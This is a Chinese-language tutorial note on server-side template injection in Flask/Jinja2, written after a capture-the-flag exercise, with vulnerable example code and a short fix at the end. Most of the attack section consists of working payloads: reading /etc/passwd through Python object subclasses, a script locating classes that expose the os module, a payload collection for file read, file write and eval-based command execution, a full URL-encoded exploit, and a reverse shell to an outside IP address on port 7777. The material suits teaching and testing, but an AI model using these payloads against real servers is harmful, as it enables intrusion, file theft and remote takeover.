python-flask模塊注入(SSTI)


前言:

第一次遇到python模塊注入是做ctf的時候,當時並沒有搞懂原理所在,看了網上的資料,這里做一個筆記。

flask基礎:

先看一段python代碼:

from flask import flask 
@app.route('/index/')
def hello_word():
    return 'hello word'

這里導入flask模塊,簡單的實現了一個輸出hello word的web程序。

route裝飾器的作用是將函數與url綁定起來。這里的作用就是當訪問http://127.0.0.1/index的時候,flask會返回hello word

1.渲染方法:

flask模塊的渲染方法有render_template和render_template_string兩種。

render_template()是用來渲染一個指定的文件的。使用如下

return render_template('index.html')

render_template_string則是用來渲染一個字符串的。SSTI與這個方法密不可分。

html = '<h1>This is index page</h1>'
return render_template_string(html)

2.模塊:

flask是使用Jinja2來作為渲染引擎的。

在網站的根目錄下新建templates文件夾,這里是用來存放html文件,也就是模板文件。

test.py內容如下:

from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
    return render_template('index.html')

/templates/index.html的內容為:

<h1>This is index page</h1>

訪問127.0.0.1:5000/index/的時候,flask就會渲染出index.html的頁面。

模板文件並不是單純的html代碼,而是夾雜着模板的語法,因為頁面不可能都是一個樣子的,有一些地方是會變化的。比如說顯示用戶名的地方,這個時候就需要使用模板支持的語法,來傳參。

from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
    return render_template('index.html',content='This is any page.')

/templates/index.html

<h1>{{content}}</h1>

這里index.html頁面將輸出 This is any page.

{{}}在Jinja2中作為變量包裹標識符。py代碼里面可以給content變量傳任意參數。

模塊注入(SSTI)

不正確的使用flask中的render_template_string方法會引發SSTI。

xss利用:

存在漏洞的代碼

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

這段代碼存在漏洞的原因是數據和代碼的混淆。代碼中的code是用戶可控的,傳入get變量id即可任意輸入,會和html拼接后直接帶入渲染。

嘗試構造code為一串js代碼:

 

 模板注入並不局限於xss,它還可以進行其他攻擊。

SSTI基礎測試

在Jinja2模板引擎中,{{}}是變量包裹標識符。{{}}並不僅僅可以傳遞變量,還可以執行一些簡單的表達式。

這里還是用上文中存在漏洞的代碼:

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

構造參數{{7*7}},結果如下

 

 可以看到表達式被執行了。

試着訪問flask模塊的全局變量config:

 

 通過{{}}變量包裹符進行簡單的表達式測試來判斷是否存在SSTI漏洞

SSTI文件讀取:

首先要知道python所有類的幾個魔法方法:

__class__  返回類型所屬的對象(類)
__mro__    返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__   返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的
__subclasses__   每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__  類的初始化方法
__globals__  對包含函數全局變量的字典的引用

構造payload的大致思路是:找到父類<type 'object'>–>尋找子類(可能存在對文件操作的類file)–>找關於命令執行或者文件操作的模塊

也就是通過python的對象的繼承來一步步實現文件讀取和命令執行的。

1.獲取字符串的類對象(獲取一個類):

>>> 'a'.__class__
<type 'str'>

2.尋找基類鏈,找到<type 'object'>類

>>> 'a'.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

3.尋找<type 'object'>類的所有子類中可用的引用類

>>> 'a'.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

這里可以看到有一個<type 'file'>類,也就是對文件操作的類,那么可以拿他的方法進行文件讀取。

4.利用<type 'file'>的read()方法進行文件讀取

'a'.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

放入SSTI注入點處:

 

 可以看到讀取到了文件內容。

SSTI命令執行

繼續看命令執行payload的構造,思路和構造文件讀取的一樣。

python中進行命令執行的模塊是os,那么尋找包含os模塊的應用類:

貼一個快速尋找os模塊的腳本(利用globals可查看到此類包含所有模塊的字典):

# encoding: utf-8
num=0
for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print(num)
             print(item)
         num+=1
    except:
        print('-')
        num+=1

輸出:

-
71 <class 'site._Printer'>
-
-
76 <class 'site.Quitter'>

那么下標為71,76的這兩個類里面存在os模塊。

os模塊中的system()函數用來運行shell命令;但是不會顯示在前端,會在系統上自己執行。

listdir()函數返回指定目錄下的所有文件和目錄名。返回當前目錄('.')

os模塊更多函數可自行百度。

命令執行payload:

'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('bash -i >& /dev/tcp/47.107.12.14/7777 0>&1')

構造paylaod的思路和構造文件讀取的是一樣的。只不過命令執行的結果無法直接看到.

這里可以使用bash等一系列反彈命令將shell反彈到自己的vps上,或者利用curl將結果發送到自己的vps上。

SSTI常用payload收集:

//獲取基本類
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//讀文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//寫文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//執行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

官方漏洞利用方法:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}         //poppen的參數就是要執行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

將上面這一串當作注入點參數傳遞即可執行命令:

http://192.168.1.10:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}%20{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}%20{%%20endif%20%}%20{%%20endif%20%}%20{%%20endfor%20%}%20{%%20endif%20%}%20{%%20endfor%20%}

這里執行的是系統命令id,可在popen("")中填入任意系統命令均可執行。

漏洞修復

將傳入可控參數的地方加上變量包裹符{{}},即可防止表達式執行。

將上面存在漏洞的代碼改為如下:

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

輸入一個表達式測試一下:

 

 可以看到,js代碼被原樣輸出了。這是因為模板引擎一般都默認對渲染的變量值進行編碼轉義,這樣就不會存在xss了。在這段代碼中用戶所控的是code變量,而不是模板內容。存在漏洞的代碼中,模板內容直接受用戶控制的。

 

參考鏈接:https://www.freebuf.com/column/187845.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM